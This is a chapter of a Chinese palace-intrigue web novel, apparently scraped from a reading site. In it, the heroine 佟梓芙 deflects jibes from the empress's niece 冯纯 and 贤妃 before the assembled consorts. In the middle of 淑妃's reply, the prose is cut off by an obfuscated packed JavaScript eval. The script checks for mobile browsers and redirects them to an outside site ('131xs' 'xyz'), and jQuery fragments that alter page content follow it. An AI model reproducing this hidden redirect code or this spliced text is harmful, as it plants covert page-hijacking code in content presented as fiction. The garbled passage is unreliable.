默认冷灰
24号文字
方正启体

5. 为难

作者:笑笑癫癫本书字数:K更新时间:
    想发作的人因为什么都能发作,佟梓芙没打算理她,可是也不能担这样的无妄之罪,喝了口茶,敷衍一笑:“我身弱有疾,幸得皇后殿下宽容体恤,赐座赐茶。”


    “方才头晕,向张大娘子讨要了一丸药,喝下了总算舒服些。莫非冯二娘子连这都不许吗?”


    冯纯又不是傻子,哪里肯信,便问张茂禾:“那药呢?”


    佟梓芙赶在张茂禾被问愣之前抢着答道:“只有一丸,我吃了自然就没了。”


    冯纯不依不饶:“那装药的匣子或锦囊呢?”


    佟梓芙便将自己随身佩戴的锦囊解下来放在桌上,左右冯纯为了显摆,早早占了上首的位置,这会儿除非站起来,怎么也看不见佟梓芙是从哪掏出这个锦囊的。


    “就在这儿,冯二娘子尽管来拿。”


    二人几番交锋,张茂禾便是再迟钝也看出来了,今日皇后娘娘这位内侄女的火气竟然不是冲着自己来的,而是向着阿芙。


    虽然不知是为什么,可张茂禾本能地想要劝架,被佟梓芙一个眼神止住了。


    张茂禾自小不是十分有主见,习惯了在家听妹妹茂谷的话,在外听自己的手帕交的话,也就闭上嘴。


    口舌之争中没能占得了上风,冯纯大概生了一肚子气,一时半会儿也不想再说话,便继续品茶。


    不一会儿,一名女官走进披香殿,通传道:“皇后殿下请诸位娘子入内。”


    佟梓芙便随着去了。


    原本以为正殿之中只有皇后一人,最多也再只多贵妃一个,没想到进了门,乌泱泱一大片妃子,竟有七八个之多。


    佟梓芙默默想,幸好昨日阿娘为自己说了半天京城故事,否则今日必然要出丑。


    跟在张茂禾身后,佟梓芙缓步而入,鬓边的珍珠步摇随着动作轻轻晃了晃,却没发出半分声响。


    茂禾姐姐拜见过冯皇后,就轮到佟梓芙,冯纯在内宫中常来常往,皇后大约早命她不必拘束,不必三跪九叩。


    “臣女佟梓芙,叩见皇后娘娘。愿娘娘凤体安康,圣泽绵长。”佟梓芙屈膝跪下,裙裾如绽开的白梅铺在地面。


    “起来吧。”倒是和佟梓芙想象中不一样,原以为冯皇后多少会磋磨自己一番,不料叫起倒是痛快,没让自己多跪着,也没让自己在众妃面前失了面子。


    借起身这一瞬,佟梓芙不动声色地瞄了冯皇后一眼,冯皇后端坐着,十分雅正,能看出是精心打扮了的,可是或许是宫中折损人,竟然显出一点老态。


    冯皇后心中确实不甚顺意,指尖在紫檀木扶手上轻轻叩着,目光掠过佟梓芙时,总有些不舒服。


    她膝下的皇子虽未被立为太子,可她心里从没想过输给旁人,如今见佟梓芙这准太子妃的模样,再看看身边垂首而立的准儿媳张茂禾,一股说不清道不明的郁气堵在心头。


    不过面子活儿还是要做的:“霍老大人与霍老夫人近来身子可还硬朗吗?前几日陛下还在御书房念叨,只说天气乍暖还寒,忧心二位老人的身体呢。”


    佟梓芙屈膝:“劳皇后殿下挂心,外祖父每日晨起都要在书房里练一幅字,精神尚佳。”


    “那就好。”皇后指尖在茶盏边缘摩挲着,又夸佟梓芙之父佟毓德:“佟刺史在并州这些年,也是功勋卓著啊,不像我那不成器的弟弟,只能在京中领个三品虚衔,当个富贵闲人。”


    张茂禾捏着帕子的指节微微发白,刚要应声,就见佟梓芙眼尾轻轻扫过来,那眼神沉静得像一汪深水。她瞬间会意,把到了嘴边的话又咽了回去——


    在场的都是人精,谁又听不出来?


    皇后这话明着夸佟毓德,实则是在说佟家根基浅,全靠实干才挣得今日的体面,哪里比得上张家世代簪缨的底蕴,否则,若是真心褒贬,又何必特意提国舅爷的三品官职?


    要知道佟毓德如此干吏,辛劳至今,也才只是正四品。


    贵妃捻着一串佛珠,圆润的珠子在指间滚动出细碎的声响:


    “圣人的确几次与我夸赞过,佟刺史是难得的能臣。”果然如霍姚君所言,姜贵妃一开口,声音温柔似水,佟梓芙顿觉如沐春风。


    感激地看了姜贵妃一眼,虽然听着只是轻轻巧巧一句话,但佟梓芙知道,此言如若被有心人传出,难免要诟病贵妃干政。


    这罪名可大可小,贵妃却义无反顾仗义执言,佟梓芙领姜贵妃这份情。


    姜贵妃解围,有个人却不高兴,四妃中贵、淑二妃坐在一处,佟梓芙眼见淑妃执团扇轻轻扑了姜贵妃一下,眼神中似有嗔怪。


    好一个活色生香的美人。


    佟梓芙心中暗笑,要说这位孔淑妃,应该算是佟梓芙第一个知晓的宫嫔,霍家的每一个孩儿满月与周岁时都收过淑妃娘娘的赠礼,都是沾了三舅母崔氏的光。


    二人在闺中时就是最要好的朋友,这么些年,崔氏一直对孔淑妃心心念念,佟梓芙甚至知道淑妃的闺名叫做唯云,还是崔氏一次酒后不小心说出来的。


    幸而那时崔氏身边只有佟梓芙与阿庭两个小姑娘,酒醒后,崔氏还再三请托侄女儿还外甥女儿千万不要将淑妃的闺名宣扬出去,二女都知道分寸,这么些年,谁也没有告诉过。


    昨日霍姚君说宫中事时还特意提起三舅母转告的一句话,只说以崔、孔二人的情谊,淑妃待梓芙一定就如嫡亲的姨母一般,若在宫中遭了刁难,不必害怕,只管躲到唯云姨母身后去。


    方才佟梓芙看得真切,孔唯云孔淑妃在皇后话音将落时就撇了撇嘴,没有立即开口,想来是在斟酌着该如何解围,被贵妃抢在了前头,恐怕心里还有点不高兴呢。


    贤妃道:“哎呦呦,有这样的能干父亲,佟娘子真是有福了,不知佟娘子在并州时,在田里种过地没有啊?”


    听了这话,佟梓芙笑容一僵,却不是为了贤妃话里的挤兑,而是难以置信圣人的后宫里竟然真的有如此愚蠢的妃子。


    就算是图穷匕见,这燕国地图未免也太短了一些。


    看面相便轻狂倨傲,偏偏领了“贤”的封号,恐怕也没少惹出过非议。


    诚然,放眼望去,贤妃美得光彩夺目,艳光四射,在一众妃嫔中遥遥领先,一打眼,远胜姿色平凡的皇后、清雅雍容贵妃、英气勃发的淑妃、唔……始终低着头看不太清脸的德妃,以及其他或许是昭仪婕妤一类的妃子。


    漂亮得像香得掸都掸不开的栀子玉桂,但这得罪人的本事也是……


    不过,佟梓芙看得开,昨夜霍姚君说故时,崔氏那画册里并没有贤妃的画像,只因贤妃尚且年轻,同其余三妃一后并崔氏本人并不是一代人。


    霍姚君说,贤妃是前年才飞上枝头变的凤凰,在此之前,只是小小的一个宫女,在宫中花房侍弄花草,说来也巧,当时有位婕妤看这个过分艳丽的花房姑娘不顺眼,一次磋磨这花房姑娘时,竟正赶上圣人驾临。


    美人楚楚可怜,圣人又怎能不怜惜?当晚就收用了,两年之内竟一步步做到了四妃之位,也算是宫中一段奇闻。


    贤妃既是花房宫女出身,可想而知家世也平平,她娘家本姓汤,父母是谁,谁也不知道,贤妃只说自己入宫时年纪太小,什么也不记得了,贤妃这样的态度,圣人也只是碍着孝道派人随意寻了寻贤妃的家人全了礼数,也就作罢了。


    佟梓芙多少能理解贤妃的处境,虽然是四妃之末,可是一则没有高贵的出身,二则没有满腹的诗书,只凭着一张芍药花儿似的脸庞走到如今这个地步,可谁又知道天恩什么时候就到了尽头呢?


    不如早早投了皇后,君恩有尽头,利与欲没有,她为皇后冲锋陷阵,皇后为她保驾护航,对于贤妃而言,已经是最好的路了。


    就是这挑事儿的本事也太糙了。


    佟梓芙回想了一番在并州时的所见所闻,尤其是她两次流落乡下之时,默默比对一番,只觉得不如村妇。


    只是,无论是皇后还是贤妃,恐怕都要失望了。


    佟梓芙并不忌讳说起这些。


    微微一笑,佟梓芙正要开口,忽然听得孔淑妃嗤笑一声:“贤妃入宫晚,恐怕有所不知,先帝在时,时常亲率诸皇子春耕劝农,前些年圣人也是如此做法,若论起来,宫中长大的孩子个个都做过农活儿,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16239369|181885||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    倒显得贤妃少见多怪了。”


    又道:“阿芙可别见怪。”


    端看淑妃的神色,佟梓芙就知道唯云姨母心中有多么得意开怀,好不容易得了个护住崔氏的小外甥女的机会,又能讥讽一番素来轻狂的贤妃,淑妃舒畅着呢。


    佟梓芙就朝淑妃扬起了一张明媚的笑脸。


    她是真心喜欢崔氏的这个小外甥女儿,嫩生生的,笑起来眼睛弯弯,不由得心生亲近,便问:“阿芙今年十七岁了吧?可曾读过书?在家都做些什么?”


    贵妃瞥了淑妃一眼,忽然抬手用帕子掩了掩口。


    非是她无礼,只是淑妃这样的姿态语气,轻声细语的,贵妃只见她在逗弄宫中的孩子时出现过,一时觉得有些好笑。


    她是知道淑妃尚未出阁时与崔氏的交情的,对崔氏夫家的外甥女尚且如此爱屋及乌,可见这情意有多么深。


    前一个问题好回答,佟梓芙并无藏拙的打算,当今圣上偏爱才女,宫中人才济济,她自认尚且学识浅薄,便是把这样的才学全显出来,恐怕也比不过在座众妃,便朗声道:“妾父教子不论儿女,皆是一视同仁,这些年与两位兄长一同求学,四书五经虽不敢说烂熟于心,寻常经义倒也能说上几句,妾在家时,甚爱游记与墨家典籍,至今未改。”


    见佟梓芙一边说一边笑,笑意温润清朗,不卑不亢,众人都暗暗点头,不愧是霍家的女儿,这般气度,既不故作谦卑,也无半分骄矜,像是春日里刚抽条的竹,带着股子向上的韧劲。


    淑妃拊掌,正要夸赞,却见佟梓芙忽地又露出几分惭色:“只是……梓芙惭愧,家中亲长为我聘来女夫子,妾年少不知苦学,至今琴棋书画无一精通,在家时,除了读书,竟无其他事可做了。”


    这话前半句是真,后半句是假。


    儿时见只有自己有教刺绣的女夫子,两位兄长却没有,梓芙便不情愿,哪怕后来学了君子六艺,也不同于女儿家的婉约,想了想,至今会的琴曲皆是大开大合之流,反倒是像“湘妃怨”这样的名曲,梓芙一概不会。


    至于在家里的消遣,难不成还能说自己爱耕稼陶渔?平白又要惹一番口舌也就罢了,也容易坏了霍家女儿的名声。


    明明其他姊妹皆是大家闺秀,佟梓芙的疯话传出去,竟让满京城都误以为霍家出农女,那可怎么是好?


    琴棋书画无一精通,这话一出,多少有些堕人颜面,淑妃暗自懊恼不该问那第二句话,姜贵妃瞧出淑妃的心,温柔一笑:


    “好了。”贵妃转头问一位宫嫔:“蓝昭仪,前些日子御膳房新来了一位祖籍甘凉道的膳夫,本宫记得,你是凉州人吧?往后可就不必饮食思乡了。”


    蓝昭仪笑道:“正是呢,劳贵妃娘娘记挂。”


    对贵妃如此生硬的顾左右而言他,皇后竟无异议,连皇后都放过了,贤妃与冯纯更是不敢再刁难。


    又有淑妃插科打诨,不一会儿,内命妇们竟仿佛就忘了佟梓芙了。


    说句实话,赴这场宴比佟梓芙想象之中要轻松许多。若是单单见见皇后一人,一定免不了对答,就算佟梓芙言语再谨慎,也难以保证必定没有不当之处。


    而现在熙熙攘攘一大群人,多少免了佟梓芙言多必失的麻烦,只偶尔有妃子将话题带到她这时,她简单对答几句,便算了事。


    唯一始终安安静静的是德妃,自始至终都没说过一句话,想来也就是这样安静的性子,倒是和霍姚君所说的不太一样。


    未时正开宴。到这时,一切尚且还顺畅,佟梓芙不免松了一口气。


    谁承想临宴时,一群中年女子聚在一起,难免要谈起养生功法。


    只听冯纯笑道:“方才我与佟梓芙娘子在偏殿等候时,还听她说自己身弱有疾。哎,身弱有疾,有才无德,也不知何德何能为君之妇。”


    气氛正好,她是玩笑话一般说出来,可此言一出,众人皆静。


    连冯皇后都威严地给了冯纯一眼。


    佟梓芙心道不妙,心中哀叹一声,站起来,正要接话,忽然听得门外的中官黄门通传道:“德阳长公主、荣嘉公主到!”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)